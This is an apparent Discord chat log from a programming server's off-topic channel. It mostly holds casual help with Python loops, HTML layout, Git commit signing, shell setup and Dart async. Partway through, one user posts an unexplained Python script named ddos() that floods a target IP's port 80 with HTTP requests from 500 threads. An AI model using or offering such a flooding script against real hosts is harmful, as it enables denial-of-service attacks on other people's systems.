#ot1-perplexing-regexing

1 messages · Page 554 of 1

lunar shore
#

!dm 838663239470022657

#

What lol

rough sapphire
#

i think it was bm

#

.bm aaa

median domeBOT
#
Do you mind?

Your input was invalid: Message "aaa" not found.

Usage:.bookmark <target_message> [title=Bookmark]

rough sapphire
#

yeah

lunar shore
#

.bm 838663239470022657

#

Oh yes, nice

rough sapphire
#

yeah the advantage is in most CNN's initial layers kind of learn same things, edges mostly, things change in ending layers, tanhts why augmentation works.

lunar shore
#

Really thanks man , appreciate the information you gave me, thanks

#

Will watch the videos you've sent

rough sapphire
#

sure 🙂

#

anyways i gotta read now, nice talking with you!

lunar shore
#

Oh, same, goodbye!

lunar shore
#

One thing I would suggest is , turn it into a string (tostring) and then select the first 4 elements or something

#

then turn back to float/double

#

I said

#

turn it into a string

#

then select the elements you want

#

THEN turn back into float/double

#

You can do that in technically any language

inland wolf
#

u can use Math.round

#

i think

rough sapphire
#

I don't think Math.round will work, though

#

I think Math.floor should be the one used instead

#

@violet mason

#

(Forgot to tag the person that needs that information 😅)

tawdry jacinth
#

I had trouble intalling Qtcreator can i dm?

latent scaffold
tawdry jacinth
latent scaffold
#

:|

rough sapphire
rough sapphire
#

then obviously i can't help

tawdry jacinth
#

Is the installation for windows hard?

rough sapphire
#

I quitted windows years ago

rough sapphire
tawdry jacinth
#

Kays, thanks

latent scaffold
#

It should be easy

#

it's easy on Linux

last mantle
#

its better on windows :)

wooden radish
#

I want to create module for python on rust, is any big int type in rust that can replace int from python?

acoustic moss
#

I don't really know
but
the int in python corresponds to bigint in other langs if that's what you're asking

#

python ints can be arbitrarily long

latent scaffold
#

how to move widget in layout to the top

#

a question I will never find myself answering

sterile sapphire
#

brokeback mountain is damn depressing

#

excellent movie

gloomy spindle
#

what is this channel about

last mantle
#

LIL NINJA

acoustic moss
last mantle
#

oops

#

suggestions.

twin charm
#

cool

last mantle
#

😐

rough sapphire
#
pt = int(input('Digite o primeiro termo da PA: '))
razao = int(input('Digite a razão da PA: '))
print(pt)
for c in range (1, 11):
if razao >= 1:
    print('Essa é uma progressão crescente.')
    cresc = (pt + (c * razao))
    print(cresc)
if razao == 0:
    print('Essa é uma progressão constante.')
    const = (pt + (c * razao))
if razao < 0:
    print('Essa é uma progressão decrescente.')
    decs = (pt + (c * razao))
last mantle
#

thanks

rough sapphire
#

@terse bough ?

terse bough
#

yeah?

#

u said for is lonely

rough sapphire
#

yeah

terse bough
#

maybe he's gothic or something

rough sapphire
#

you need something inside for

rough sapphire
terse bough
#

what can I put inside "for"?

#

I can't indent this first if, can I?

#

maybe a variable?

rough sapphire
#

why are you using for?

#

first of all

terse bough
#

uh, I need to get the first 10 numbers in a arithmetic progression

rough sapphire
#

means you want to take inputs 10 times?

terse bough
#

so, pt = first term
razao = uh, don't know the world, but it's the multiplier of the AP

#

so, if razao = 1, and pt = 1
1
2
3
4, if it's a crescent

#

if razao = -1, it's
1
0
-1
-2
-3

terse bough
#

the inputs are the first 2 variables in the beginning

rough sapphire
#

!e

pt = 1
razao = 1
print(pt)
for c in range (1, 11):
  if razao >= 1:
    print('Essa é uma progressão crescente.')
    cresc = (pt + (c * razao))
    print(cresc)
  if razao == 0:
    print('Essa é uma progressão constante.')
    const = (pt + (c * razao))
  if razao < 0:
    print('Essa é uma progressão decrescente.')
    decs = (pt + (c * razao))
royal lakeBOT
#

@rough sapphire :white_check_mark: Your eval job has completed with return code 0.

001 | 1
002 | Essa é uma progressão crescente.
003 | 2
004 | Essa é uma progressão crescente.
005 | 3
006 | Essa é uma progressão crescente.
007 | 4
008 | Essa é uma progressão crescente.
009 | 5
010 | Essa é uma progressão crescente.
011 | 6
... (truncated - too many lines)

Full output: https://paste.pythondiscord.com/ewuyidinex.txt?noredirect

rough sapphire
#

what do you mean by this?
1
2
3
4, if it's a crescent

terse bough
#

1 = first term
1 + 1 = 2
2 + 1 = 3
3 + 1 = 4

rough sapphire
#

can you explain in english?

terse bough
#

Uh, sure

rough sapphire
#

i mean
what are these raza and pt doing and what do you want as output?

terse bough
#

Do you know what this is?

rough sapphire
#

oh jesus this

#

yeah i do

terse bough
#

This is what I want 🙂

rough sapphire
#

so basically
2 4 6 8 ?

#

for 2 and 2

terse bough
#

yeah!

rough sapphire
#

jesus christ okay

#

what the fuck are those conditions then?

carmine niche
#

@rough sapphire why so aggressive :/

rough sapphire
#

crese and consta and decre

#

oh no im chill. sorry for language.

#

my bad

terse bough
#

uh...

carmine niche
#

ah

terse bough
#

crescent, constant, descrescent

rough sapphire
#

yes so what are those?

terse bough
#

three types of arithmetic progressions?

agile fulcrum
#

import threading
import socket

target = "192.168.8.1"
port = 80
fake_ip = "182.21.20.32"

def ddos():
while True:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
s.sendto((f"GET /{target} HTTP/1.1\r\n").encode("ascii"), (target, port))
s.sendto((f"Host: {fake_ip}\r\n\r\n").encode("ascii"), (target, port))
s.close()

for i in range(500):
thread = threading.Thread(target=ddos)
thread.start()

rough sapphire
#

alright so if im not mistaken
cresent means its increasing
dec means decreasing and
0 means consta

carmine niche
inland wolf
#

def ddos() 🤔

rough sapphire
#

alright i got it. lets start then

#

i'll use eng vars sorry for that

terse bough
#

no problem

#

it's even better

#

I'll probably try to use eng variables from now on

#

to help understanding

rough sapphire
#

!e

ini = 2
diff = 2
for i in range(10):
  a = ini + i*diff
  print(a)

if diff>0:
  print('increasing')
elif diff<0:
  print('decrease')
else:
  print('constant')
royal lakeBOT
#

@rough sapphire :white_check_mark: Your eval job has completed with return code 0.

001 | 2
002 | 4
003 | 6
004 | 8
005 | 10
006 | 12
007 | 14
008 | 16
009 | 18
010 | 20
011 | increasing
rough sapphire
#

they use (n-1) but we are starting from 0 so its fine.

#

does that code make sense?

terse bough
#

yes

#

much more elegant too

rough sapphire
#

indeed

terse bough
#

but the first 2 variables are inputs

rough sapphire
#

you can now make sum thingy by your self

rough sapphire
terse bough
#

ah, ok

rough sapphire
#

it won't cause any prob im sure

terse bough
#

yeah, they're all the same functions

#

it only change the conditions, silly me

rough sapphire
#

yeah its all the same, you put same code in all 3 xD

#

alright any ways
about your for is lonely thing
i meant

for i in range(10):
print('hey') # this is OUTSIDE FOR

so your for can't be empty

terse bough
#

it worked wonders, thank you @rough sapphire

#

The exercise by itself was just to make a AP, but, I've tried to go further, to improve my understanding of loops, ifs...

rough sapphire
#

sure. i'm glad i could help.

terse bough
#

🙂

rough sapphire
#

you could also take lets say input n and return what number will be on that place.

rough sapphire
terse bough
#

I just need to put something there before the ifs, right?

rough sapphire
#

means? no

#

you just can't have empty if condition or for or anything

#

!e

if True:
print('im outside')
royal lakeBOT
#

@rough sapphire :x: Your eval job has completed with return code 1.

001 |   File "<string>", line 2
002 |     print('im outside')
003 |     ^
004 | IndentationError: expected an indented block
rough sapphire
#

!e

if True:
  print('im inside')
royal lakeBOT
#

@rough sapphire :white_check_mark: Your eval job has completed with return code 0.

im inside
frail saddle
#

How is "InsaneLatch" or "InsaneLock" fot a username

terse bough
#

@rough sapphire , yeah, the for was empty because I was trying to indent the if back

#

but I got it already

#

the problem

rough sapphire
terse bough
#

yeah, at the same level as for, right?

rough sapphire
#

yeah

blissful moth
#

so this is what happens when i try to send a file rn
the thing is, the "pictures", "videos", and stuff aren't there as i use onedrive for my files & stuff
so they aren't the default directories
anyone know how to add this stuff to the file picker?

vapid nymph
wraith hound
#

😟

#

That's… concerning. Maybe

inland wolf
#

bruh

edgy crest
#

thats oesophagus then not piehole

low chasm
#

Hey guys, how large is LLVM?

tardy rain
#

Bigly large

forest herald
#

hi

rough sapphire
#

ih

#

I love what this guy and what he does in general and this project with Python and AI he is genius

#

It's Kitboga

#

The scambaiter?

#

ye

#

He worked with a developer fan and made a ai that does scambaits

low chasm
#

in GB?

acoustic moss
#

(bigly large) gb

low chasm
#

ah yes, so much more descriptive

rich moon
#

i think its less than opencv

#

like install size for release is like 6gb or sth?

low chasm
#

I checked, and I got a range from 30-188 gb

#

A bunch of different answers

#

And I'm not sure which is correct

wraith hound
#

is my favorite emoji

vapid nymph
#

methinks i need to get a job

#

aka do anything else

wraith hound
vapid nymph
#

.gh repo run1e/acebot

median domeBOT
#

A fun, general purpose (public) Discord bot!

vapid nymph
wraith hound
#

nice

vapid nymph
#

hm

#
if USE_GAME_MODEL:
    import numpy as np
    log.info('Importing keras...')
    from tensorflow import keras
    log.info('Finished importing keras.')
else:
    log.info('keras.model has not been loaded.')
```vs```py
if USE_GAME_MODEL:
    np = __import__('numpy')
    log.info('Importing keras...')
    keras = __import__('tensorflow.keras')
    log.info('Finished importing keras.')
else:
    log.info('keras.model has not been loaded.')
#

which one is a better way to have a conditional import only if an env var is True?

rough sapphire
#

i like first one

low chasm
vapid nymph
graceful basin
#

you can use #noqa

vapid nymph
#

#noqa what tho

graceful basin
#

pylance should respect it.

#

import i_do_not_exist #noqa should surpress the error

vapid nymph
#

yes i saved

graceful basin
#

huh

#

oh, for a type checker, the comment is # type: ignore

#

from airflow import DAG # type: ignore

#

# pyright: reportMissingImports=false would work as a blanked disable

vapid nymph
#

ugh

vapid nymph
graceful basin
#

it should

#

let me test

#

yup, works

#

it is part of the type checker PEP after all

vapid nymph
#

good

twilit shore
#

very good

vapid nymph
wraith hound
#

Why do you make so many PRs to that repo?

vapid nymph
#

¯\_(ツ)_/¯

#

It's like @royal lake . its the bot of the server I'm most active in

vapid nymph
#

@rough sapphire how did you configure commit signing?
sorry mark

#

er

#

@cerulean basin

prime aspen
#

"Unverified"

vapid nymph
#

Yeah

#

@Hitori Tori#4829 I'm trying to configure commit signing

rich moon
#

function condoms hmmmmm

vapid nymph
prime aspen
#

Already

vapid nymph
#

How

#

I need help

prime aspen
#

Follow instruction by GitHub

vapid nymph
#

I kept following guides but nope

prime aspen
#

and use Linux

vapid nymph
#

Didn't work

#

I'll try again I guess

prime aspen
vapid nymph
#

Nice

vapid nymph
#

It's a server I access over ssh

vapid nymph
prime aspen
#

I might need a new key tbh

cerulean basin
vapid nymph
#

rats

#

do you have to enter a passphrase every time or is that taken care of

cerulean basin
#

PyCharm mainly

vapid nymph
#

ah

vapid nymph
prime aspen
#

idk

vapid nymph
#

¯_(ツ)_/¯

#

I'll do it later Ig

acoustic star
#

@autumn night

#

hi

autumn night
#

hello

vapid nymph
jaunty blade
#

dis discord broken

lunar crescent
#

@jaunty blade please don't spam the same thing in all the off-topic channels

#

finally, discord noticed

vapid nymph
#

the multiple channels thing no

#

but multiple times, yes

#

i uh, was apparently sending images 8 times today

cerulean basin
vapid nymph
#

er

#

i think i found a bit of the issue

#

2.20.1 is my git version

cerulean basin
#

That doesn't sound too old, unless you're implying that version had a bug

vapid nymph
#

i had to upgrade it previously because stuff didn't work

#

i don't know how it ended up this old again 🤔

cerulean basin
#

Anyway, I don't remember much except that it wasn't much trouble for me. I'm probably not the best person to help you with this.

vapid nymph
#

just worked.

bleak pine
#

what is happennig to discord?

blissful moth
inland wolf
#

eivl is singlehandedly carrying pygen

acoustic moss
#

orz

#

HOLY SHIT
you can literally split windows in pycharm to infinity

inland wolf
#

lol

acoustic moss
edgy crest
#

every editor has that bro

acoustic moss
#

:surebuddy:

#

actually

#

they probably do

#

lol

edgy crest
#

yes

#

vscode, vim

#

my wm

inland wolf
#

ye

acoustic moss
#

vim cring

#

🛡️

last mantle
#

hmm

inland wolf
#

agree

#

but i use vim keybinds in vscode

last mantle
#

VSCode + WSL

last mantle
inland wolf
#

ye

#

cant go back now

#

still need to learn macros

#

oh ben awad has a video on it

#

great

mellow spire
low chasm
rough sapphire
runic shuttle
# acoustic moss vim cring

LOL it took me a second to realize 75% of that was your username, but until then, I was like.. "I don't understand the association between C# and vim here..." LOL

gritty zinc
#

otn a 75% username 😔

low chasm
#

Lmao

gloomy spindle
#

hello

#

anyone

#

help me

rough sapphire
#

...with?

lilac kernel
#

@gloomy spindle

twin charm
#

OMG my fav sporting event suspended

#

IPL 2021 LIVE News Updates: Having hit hard by the COVID-19 pandemic, the Indian Premier League (IPL) 2021 has been postponed indefinitely on Tuesday. The decision ends a month-long relatively smooth run for cricket’s most glamorous event.

The announcement came after Sunrisers Hyderabad’s wicketkeeper-batsman Wriddhiman Saha tested positive for COVID-19 along with Delhi Capitals’ veteran spinner Amit Mishra. Earlier on Monday, Chennai Super Kings bowling coach L Balaji along with Kolkata Knight Riders bowlers Sandeep Warrier and Varun Chakravarthy had also returned positive results.

last mantle
#

yessssssssss

twin charm
carmine niche
#

haskell is function condoms

vapid nymph
#

@cerulean basin 😄

solid pollen
#

Noice

vapid nymph
#

after looking at the repo and noticing you had configured it as well

solid pollen
#

Yep

vapid nymph
#

wanna know the solution

#
if [[ -n "$SSH_CONNECTION" ]] ;then
    export PINENTRY_USER_DATA="USE_CURSES=1"
fi
#

in my bash_profile

#

i honestly should just always do that

#

i love cli

twin charm
#

bruh

sterile sapphire
#

my god I can't

#

if he does this in the second leg of the CL i'm gonna die laughing

solid pollen
#

nooo video removed

sterile sapphire
#

mine?

last mantle
#

bye bye IPL

sterile sapphire
#

I can't with Neymar and diving

#

he's such a talented player

#

if he focused on finishing goals and staying on his feet

#

Chinese vaccines are not helping India

last mantle
#

cuz they cant enter india lemon_fingerguns

sterile sapphire
last mantle
#

lemme fact check

sterile sapphire
#

idk I don't follow this stuff often

#

I just ask my parents

last mantle
#

eh idk, im too lazy

#

but our govt hates china

#

so

sterile sapphire
#

right

#

I think we were going to war w China too

#

at one point

#

that cooled down

#

Modi is terrible

last mantle
#

😬

sterile sapphire
#

dude is so afraid of losing his power so he won't do lockdowns

edgy crest
sterile sapphire
#

also there's no cap on the amount of terms a prime minister can stay

#

so as long as sufficient people vote for him he could stay for years

edgy crest
#

i mean there is lockdown

last mantle
#

no nationwide lockdown

#

@sterile sapphire do you know hindi?

sterile sapphire
last mantle
#

ah sad

sterile sapphire
#

white washed 😦

#

lmao

last mantle
#

i had a really good vid lol

last mantle
#

people still believe in him

#

so

sterile sapphire
#

I wonder how COVID is affecting the Uyghur Muslims China is holding captive

last mantle
#

no one knows

#

thanks to China

sterile sapphire
#

New Zealand refused to call it a genocide

#

👏 👏 👏

last mantle
#

kissasses heh

sterile sapphire
#

Biden calls the Armenian genocide a genocide

#

but he refuses to comment on the genocide China is currently committing

#

I think he's afraid

#

the UK lawmakers called it genocide

last mantle
#

so.......................

acoustic moss
#

bjp has internal rules

#

once modi is over 75 he cannot be bjp's leader any more

#

unless they change their rules

#

which isn't unreasonable either

last mantle
#

thing is, modi put that rule to remove older leaders lol

#

and he can remove it for himself

#

so

acoustic moss
#

lol

#

idk

#

maybe

sterile sapphire
acoustic moss
#

also he might just die lol

#

he isn't exactly young

sterile sapphire
#

yeah

last mantle
#

😩 i wish you knew hindi

#

i so want to share that vid

acoustic moss
#

👀

last mantle
#

lol have you seen how Arnab was before republic and after

#

total kissass now

last mantle
#

republic tv

#

the shit channel

acoustic moss
#

"after"?

last mantle
#

mhm

#

before he was in ABP ig

#

idk

acoustic moss
#

oh you mean after as in during

#

ye

last mantle
#

ahhhhhh

sterile sapphire
#

dead poet's society is good

rough sapphire
#

yes

#

also i think its
dead poets society

strange musk
#

ahh, modi just wants to convert india to china pt.2

#

his progress is looking good so far 👀

last mantle
#

😬

rough sapphire
#

haskel is functional condoms wtf

#

?

#

channel name

#

oh

vapid nymph
rough sapphire
#

means? im sorry but im hearing this term for the first time.

#

wtf

#

ah ok

rough sapphire
#

yeah i got it

#

my bad, i literally googled to see if there is something like that in coding

#

then i realised

vapid nymph
#

Lol

acoustic moss
#

bruh

#

lol

#

interesting

#

looks like we're going to have a code jam soon 👀

dark verge
#

My projects are too small to be called as real projects

rough sapphire
#

how do i run lua script in vsc terminal

tardy rain
#

Same way you run it from any other terminal

carmine niche
#

here is the namesake

rough sapphire
#

cult

rough sapphire
#

How do I put the text on the same line:
<h1>

<p style="text-align:center;
font-family:Georgia;
font-size:50px;
color:#CC0000">Big Hero 6</p>
<p style="text-align:right">2015</p>

</h1>
I am new to html so please help

harsh tundra
#

p is paragraph, if you want inline styling, use span

inland wolf
#

<p> is a block tag so it will go to the next line

#

use <span>

wraith hound
inland wolf
#

or u can use css and change display: inline

#

or that

wraith hound
#

flex is better

#

Since it's more responsive

inland wolf
#

beginner bro

wraith hound
#

True

inland wolf
#

ye

wraith hound
#

But why not learn good practices

#

When it's not even that much more

inland wolf
#

True

runic shuttle
#

oh good ole logs lol...

#

I believe the left hand side simplifies to x since the logbase10 would be the inverse to the exponential 10**x

low chasm
#

Desmos? Lmao

rough sapphire
#

use log rules

#

its log10(7) / 1

#

or x = log10(7)

#

cuz u can pull the exp out into a multiplicative for a log

#

you should get good at these btw they're a big deal particularly for asymptotic notation stuff you'll do eventually if you study cs

wraith hound
wraith hound
runic shuttle
#

yes, but for the specific question of what does the left side simply to, the answer is x

wraith hound
#

But they literally gave you it

runic shuttle
#

yes, I guess you can say that about all math problems in some capacity lol, ... ugh I used to love math much more than I can remember now lol

rough sapphire
#

there are two steps

#

or three to four i suppose if you wanna be really specific

#

pull out x, eval log10(10)
either see its 1 or divide both sides by log10(10)

#

so 3-4 steps

#

they were just showing you a rule

#

none of the questions you'll have in these classes are hard

#

stop acting so pompous

#

there is an extremely clear and obvious purpose to the question

#

you're in what is either a high school or remedial math course and they are giving you questions to test your knowledge of logs, they do not literally give you the answer at all

wraith hound
#

That's not a rule, that's common sense

rough sapphire
#

most of algebra is common sense kid

graceful basin
#

It shows the log_a(a^x)=x rule

rough sapphire
#

it just operates on axioms

#

they're showing you an axiom

#

stop acting smart

#

hurr im gonna post to a programming discord about how smart i am cuz my class tried to illustrate a rule of exponents

#

stop

#

you're not cool

#

no one will like you more for it

#

you just look like an idiot because no one is impressed by this

#

you have literally lost social standing as a result of attempting to gain some by trying to look smart

#

STOP

#

this is why you have no friends

wraith hound
#

I wasn't trying to be cool for gods sake

#

They literally didn't explain anything

#

And posted some question that wasn't complicated

rough sapphire
#

he deleted it lol

graceful basin
#

!warn @rough sapphire please keep our code of conduct in mind. It is by no means acceptable to mock people.

royal lakeBOT
#

:incoming_envelope: :ok_hand: applied warning to @rough sapphire.

low chasm
#

lmao

hexed ridge
# low chasm whoah

I see you everywhere in this server! but you are just a normal role??? that seems weird

hexed ridge
#

I swore I thought you were a mod

low chasm
#

Nah, I wasn't

hexed ridge
#

haha

honest star
#

@rugged echo my tips for getting people involved and to contribute:
a) Make it easy and straight forward to get help, like as easy as possible
b) Keep the ask simple and, if possible, fun
c) Make it more of a collaborative thing than just offloading work

So for the topic ask, don't even have them comment in the PR/issue. Collect the responses yourselves. Make it more like a conversation than like work the other person has to do.
For this, it also helps to give a few examples of what you're thinking of to get the ball rolling. Help other people get an idea of what kind of questions/answers you're looking for

rugged echo
#

thanks a lot btw, you're helping me learn tons of stuff

honest star
#

mhm, that's generally what's worked for me to get people to contribute to this kind of stuff

rugged echo
honest star
#

get people talking about stuff they already like talking about
"what are good trivia questions for python / rust / other languages / linux"

#

haha yeah, hitting peak active time also helps

rugged echo
#

right!

rugged echo
#

like every 30 mins or smth lol

honest star
#

So I would try to naturally guide it into the conversation. Like if there's a lull bring it up or if you think the conversation is headed in a similar direction

rugged echo
#

for the time being, our team is just gonna keep on making up questions lol

#

thank you!

honest star
#

no worries~ maybe I'll have time to contribute questions tomorrow or Thursday

rugged echo
#

we brainstormed a lot lol

#

trying to touch every subcategory

blissful moth
#

yeah

quick ledge
#

why don't you click on home then?

#

in the pane on the left

spice crescent
#

Is there a way to do exe to py?

harsh tundra
latent scaffold
#

exe to py has "sketchy" written all over it

honest pawn
#

Yea
plagiarism

spice crescent
harsh tundra
spice crescent
#

oh ok

#

Then I have other question

#

How to send message via weebhook using Python?

tardy rain
#

weebhook? I wish haha

spice crescent
#

how

red oar
#

Anyone wanna make a TikTok Compilation Youtube account with me?

inland wolf
#

no

rough sapphire
#

no

acoustic moss
#

no

spice crescent
#

dm me

last mantle
#

lol

#

@inland wolf how to take input in dart?

#

console input

inland wolf
#

i never used input in dart

wraith hound
inland wolf
#

lol

#

damn u can readline asynchronously?

vapid nymph
#

@mellow spire

mellow spire
#

uh?

last mantle
#

o

#

nvm, vscode is bugged

native quarry
#

is there a way to have an audio file be a certain hertz using ffmpeg?

vapid nymph
#

i was afk and said i would send it when i got on pc

#

9 of those extensions are themes LOL

rough sapphire
#

or is there a server for this kind of stuff

lunar crescent
rough sapphire
lunar crescent
#

i think its temporary

rough sapphire
dusk hollow
last mantle
#

indeed

twin charm
#

smallest computer....what are the specs? 😛

rough sapphire
#

Better than you think

low chasm
#

rtx 3090 5900x

twin charm
#

o really?

#

sounds like a deal

dusk hollow
#

there could be hundreds of transistors al least

nimble pine
# dusk hollow

memes not relevant to the discussion shouldn't be shared in server, I guess you missed that

dusk hollow
#

Oh yea, thx for telling

vapid nymph
#

damn

#

i just learned that @gilded prawn has sent only 2 messages in this channel ever

twin charm
#

that was quick ale.

#

omg why is git pull lagging

#

I mean push.

last mantle
#

f

#

internet

#

😔

twin charm
#

send-pack: unexpected disconnect while reading sideband packet
fatal: the remote end hung up unexpectedly
Everything up-to-date
ohok my internet went poof

low chasm
#

!e ```py
🐈 = 10
print(🐈)

royal lakeBOT
#

@low chasm :x: Your eval job has completed with return code 1.

001 |   File "<string>", line 1
002 |     🐈 = 10
003 |     ^
004 | SyntaxError: invalid character '🐈' (U+1F408)
low chasm
#

lmao

#

nooo

twin charm
#

.charinfo 🐈

#

!charinfo 🐈

royal lakeBOT
#

You are not allowed to use that command here. Please use the #bot-commands channel instead.

twin charm
#

c'mon

blissful moth
#

i want like a shortcut

#

1-click and i go to my pictures folder

vast wedge
plucky ridge
#

HA

#

Okay, that's pretty good

vapid nymph
#

is it a good idea to use the same gpg key for all of my commits or should i have a different gpg key on each of my servers?

vast wedge
#

Isn't the point of signing commits so that you can tell who created them?

vapid nymph
#

well you can

#

but like

#

just was wondering

#

yeah probably should be the same

#

welp gotta figure out how to export the private key and import it elsewhere

vast wedge
#

I guess it's just a question of what the consequences would be? I mean if you're developing for a furry porn website and you don't want that associated with your main github or something

#

oh you mean a different signing key on each of your devices from which you push?

vapid nymph
#

yes

vast wedge
#

ah ok, I thought you were talking about pushing to many servers from a single device

#

in that case yeah, I think it's considered best practice to use a different private key

#

the idea being that if the private key is ever copied, that's more of a possibility for it to be leaked

#

especially if you're transmitting it over a network

#

but even if you're just using sneakernet, you could lose your flash drive or whatever

#

although fwiw I don't use gpg to sign my git commits, I'm talking about SSH keys here

#

but I think in theory the same principle applies

blissful moth
vapid nymph
#

@vast wedge I think due to Keychains and such and them being different from gpg the same key should be used for the same projects.

#

If the person and machine and project such are all the same then imo same key as well

wraith hound
#

@low chasm You aren't in the Rust Discord? I'm surprised.

low chasm
#

I am

wraith hound
#

I'm in the Discord

low chasm
#

huh

wraith hound
#

And it doesn't show Rust as a mutual

low chasm
#

which one?

wraith hound
#

The verified one

low chasm
wraith hound
#

.gg/rust

low chasm
wraith hound
#

No

low chasm
#

huh

wraith hound
#

The official one

low chasm
wraith hound
#

Yeah

#

That

low chasm
#

whoah

#

wait

#

thats the game

compact robin
#

s

low chasm
#

LMAO

wraith hound
#

Oh wait

#

That's not programming?

low chasm
#

No

#

Its a game called rust

wraith hound
#

I swear I saw that on the website

#

DANG IT

low chasm
#

Haha, scroll through the channels

#

Its all gaming

wraith hound
#

I thought that had something to do with Rust…

low chasm
wraith hound
#

Crap

blissful moth
vapid nymph
#

(someone said duel boot for context)

wraith hound
#

I do just press tab

#

I have my VSCode set to the right tab size

acoustic moss
#

which is 9 spaces

#

obviously

vapid nymph
#

no

#

its actually a duel between 1 to 13

#

the winner of the duel is that specific line's indent

wraith hound
#

Jk

#

I have it set to 3

vapid nymph
wraith hound
#

That would piss people off

#

Depending on what lang I'm using, I switch from 2 to 4

vapid nymph
#

btw zsh is ohmygod so great

wraith hound
#

I don't actually use 3

vapid nymph
#

er i mean

#

ohmyzsh is great

#

tl;dr i installed it on all of my servers

last mantle
#

@latent scaffold ...

last mantle
latent scaffold
#

uh oh

latent scaffold
vapid nymph
#

wat

#

tell me why

#

i do want to know

latent scaffold
#

It's useless and slow

#

Just install powerlevel10k and some zsh plugins, it's much better

latent scaffold
#

powerlevel10k is so worth it tbh

vapid nymph
latent scaffold
#

looks gr8 don't it

vapid nymph
#

yessss

last mantle
#

bruh @inland wolf

#

o oops

vapid nymph
#

fwiw i used it since i haven't set up a system to sync dotfiles yet

#

so eventually i'll get to using other thigns

#

since i don't really want to have to make manual edits to much

latent scaffold
#

uh

#

what're you considering to be a manual edit

vapid nymph
#

any manual dotfile editing

#

i have 4 computers and one of them is shared

acoustic moss
#

mfw the only dotfile i have edited is .env

vapid nymph
#

lol

#

i had to edit so much for bash

#

that as of now

#

I actually am running bash and then typing exec zsh -l LOL

#

which imo is a good way to not fuck up terminal access

last mantle
#

init.vim :(

vapid nymph
#

bruh how

#

how does terminal completion work?

#

what terminal clients support terminal completition?

#

also is it supported over ssh?

low chasm
#

Zsh has autocomplete

#

And all terminal clients support it

#

You just have to install it

vapid nymph
#

nah

#

can you tell me a terminal that supports it

low chasm
#

Zsh is great

vapid nymph
#

i want to double check

low chasm
#

Hm

#

Well, all terminals support it

#

At least the majority

#

The shell has to be the thing providing it

vapid nymph
#

oh i meant one that does the greyed out stuff

low chasm
#

Ah

#

Hm

vapid nymph
#

like what @carmine niche once showed

low chasm
#

I'm guessing that's either fish or zsh

#

Both are shells you can install

vapid nymph
#

yes

carmine niche
#

i have been summoned

vapid nymph
#

i currently have zsh

low chasm
#

Haha

#

Hello

#

Zsh has autocomplete

vapid nymph
low chasm
#

Better autocomplete than many other shells out there imo

carmine niche
#

zsh already has autocomplete u just need to set it up

#

think there's a built-in setup script

vapid nymph
#

no ur shell does that gray out thing

low chasm
#

Huh

carmine niche
#

my guy that is what i am talking about
zsh already had that, don't switch

vapid nymph
#

okay yeah

#

can you tell me what terminal client you use?

#

this is related to the fact that i was having earlier issues with my terminal

low chasm
#

Alacrity ftw

acoustic moss
#

there's tab autocomplete even in cmd lol

last mantle
pine sundial
#

I need help with a part of my program so basicly you have the user enter two string and it does diffrent stuff with those string. Where i need help is with this one part so you need to see what the first letter of the string is i got that down but then you need to compare them and see what string comes first in the alphabet
for example
Enter string # 1: apples
Enter string # 2: bananas

The first character of apples is: a
The first character of bananas is: b

apples comes before bananas
this is what it should look like i just don't know how to compare the strings

#

THIS IS IN JAVA

#

BTW

acoustic moss
#

comparing chars is simply x > y
for comparing strings use x.compareTo(y)

inland wolf
last mantle
#

i had a dart dout but its resolved

#

sorry

inland wolf
#

doubt in dart?

#

dart doubt?

#

doubt dart.

last mantle
#

lol

#

doubt

inland wolf
#

doubtable dart

acoustic moss
#

get some help

rich moon
#

imagine using dart tho

edgy crest
#

🎯

#

shouldnt this emoji be named bullseye

scarlet wind
#

4 spaces ftw

edgy crest
#

heh marking a tab as 4 spaces is the way

rough sapphire
scarlet wind
#

never

rough sapphire
#

it's probably not for python

#

but some languages it just goes great

lament prawn
#

Ooh okay this server is much bigger than I thought

edgy crest
#

new ankith external_moment

last mantle
#

wtf

acoustic moss
#

👀

last mantle
#

http requests in dart have to be asynchronous

#

ahhhhhhhhhhh

edgy crest
#

hah

#

multithreading >>>> async

last mantle
#

🤔

edgy crest
lament prawn
#

But async is gud tho

inland wolf
#

bro just make everything async @last mantle

edgy crest
#

lol

last mantle
#

i have terminal inputs lol

edgy crest
#

make it async

inland wolf
#

sad

last mantle
#

its blocking ;-;

#

and you cant compare async, multithreading ;-;

edgy crest
#

why

#

idk anything about async

last mantle
#

they are different things

edgy crest
#

but isnt it running different things at once

last mantle
#

used for different purposes

last mantle
#

idts

edgy crest
#

oh i c

last mantle
#

ask the pros about async

lament prawn
#

If something is blocking, maybe run it as a seperate async task or smth

last mantle
#

imma yeet

edgy crest
#

then that means async is useless?

inland wolf
#

no

inland wolf
#

@last mantle why dont u just allow the blocking

lament prawn
#

create_task

last mantle
#

its not like file reading

inland wolf
#

are u going to take inputs while its downloading somethnig?

last mantle
#

no

inland wolf
#

then whats the problem

#

if its not doing anything async in the background

edgy crest
#

if he is taking inputs while the window is open

last mantle
#

eh in python, it kills the program

inland wolf
#

why not have blocking

lament prawn
#

If something blocks in async code, and does not use await, then the whole application gets blocked

edgy crest
#

the window might freeze no

lament prawn
#

Because async aint like threading

inland wolf
#

ye

last mantle
#

and hata

edgy crest
#

hah pathetic

last mantle
#

wdym udk async lol

edgy crest
last mantle
#

lol

inland wolf
#

damn

edgy crest
#

i am comfortable with threading idk when or why ill need async

last mantle
#

web stuff

inland wolf
#

ye

lament prawn
#

Well, working with discord.py I realised how useful async is

inland wolf
#

requests

lament prawn
#

Till then I was threading boi

last mantle
#

threading can be complicated

#

idk why you like it

edgy crest
#

huh its fun

#

also i hate doing web stuff

#

so no async

last mantle
inland wolf
#

loil

edgy crest
#

easy

last mantle
#

hax

lament prawn
#

Or play with queues

last mantle
#

more hacks

#

bye

lament prawn
#

👋

edgy crest
#

why use return when you have class variables smugdance

last mantle
#

eh?

lament prawn
#

passing mutable arguments eh?

#

to the threaded function?

edgy crest
#

no need to even pass arguments

#

self

lament prawn
#

Not a great idea tho

#

Queues are safer IG

last mantle
inland wolf
#

ye but

edgy crest
#

use https /s

inland wolf
#

u are not doing any http while its taking input right?

last mantle
#

yes

#

look

edgy crest
#

httpsync

#

not async

inland wolf
#

so whats the problem

last mantle
#

only that function is async

#

idk how to call it

inland wolf
#

mark it as async

last mantle
#

call

inland wolf
#

dart can run async code without await

last mantle
#

not make

lament prawn
#

I think there was aiohttp or some module that that for async http

last mantle
#

o

#

hmm

inland wolf
#

its live javascript

last mantle
#

hmmmmmmmmmmmmm

#

nice

